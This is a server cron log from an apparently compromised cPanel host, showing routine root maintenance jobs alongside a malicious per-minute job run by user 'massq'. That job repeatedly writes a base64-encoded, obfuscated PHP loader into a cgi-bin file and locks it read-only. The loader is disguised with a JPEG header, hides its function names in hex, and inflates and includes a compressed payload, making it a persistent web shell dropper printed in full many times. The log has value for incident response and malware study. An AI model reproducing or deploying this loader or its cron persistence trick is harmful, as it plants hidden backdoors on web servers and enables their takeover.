Sep  1 09:11:01 server CROND[20424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:12:01 server CROND[20924]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 09:12:01 server CROND[20925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:12:01 server CROND[20926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:12:01 server CROND[20927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:13:01 server CROND[21337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:13:01 server CROND[21338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:13:01 server CROND[21339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:14:01 server CROND[21732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:14:01 server CROND[21733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:14:01 server CROND[21734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:15:01 server CROND[22124]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:15:01 server CROND[22125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:15:01 server CROND[22126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 09:15:01 server CROND[22134]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:15:01 server CROND[22131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:15:01 server CROND[22130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:15:01 server CROND[22132]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 09:15:01 server CROND[22133]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 09:16:01 server CROND[23229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:16:01 server CROND[23230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:16:01 server CROND[23231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:17:01 server CROND[23704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:17:01 server CROND[23706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:17:01 server CROND[23705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:18:01 server CROND[24074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:18:01 server CROND[24075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:18:01 server CROND[24076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:19:01 server CROND[24460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:19:01 server CROND[24461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:19:01 server CROND[24462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:20:01 server CROND[24857]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 09:20:01 server CROND[24865]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 09:20:01 server CROND[24866]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:20:01 server CROND[24871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:20:01 server CROND[24868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:20:01 server CROND[24873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:20:01 server CROND[24870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:20:01 server CROND[24867]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 09:20:01 server CROND[24872]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 09:21:01 server CROND[25715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:21:01 server CROND[25716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:21:01 server CROND[25717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:22:01 server CROND[26094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:22:01 server CROND[26095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:22:01 server CROND[26096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:23:01 server CROND[26577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:23:01 server CROND[26578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:23:01 server CROND[26579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:24:01 server CROND[26968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:24:01 server CROND[26969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
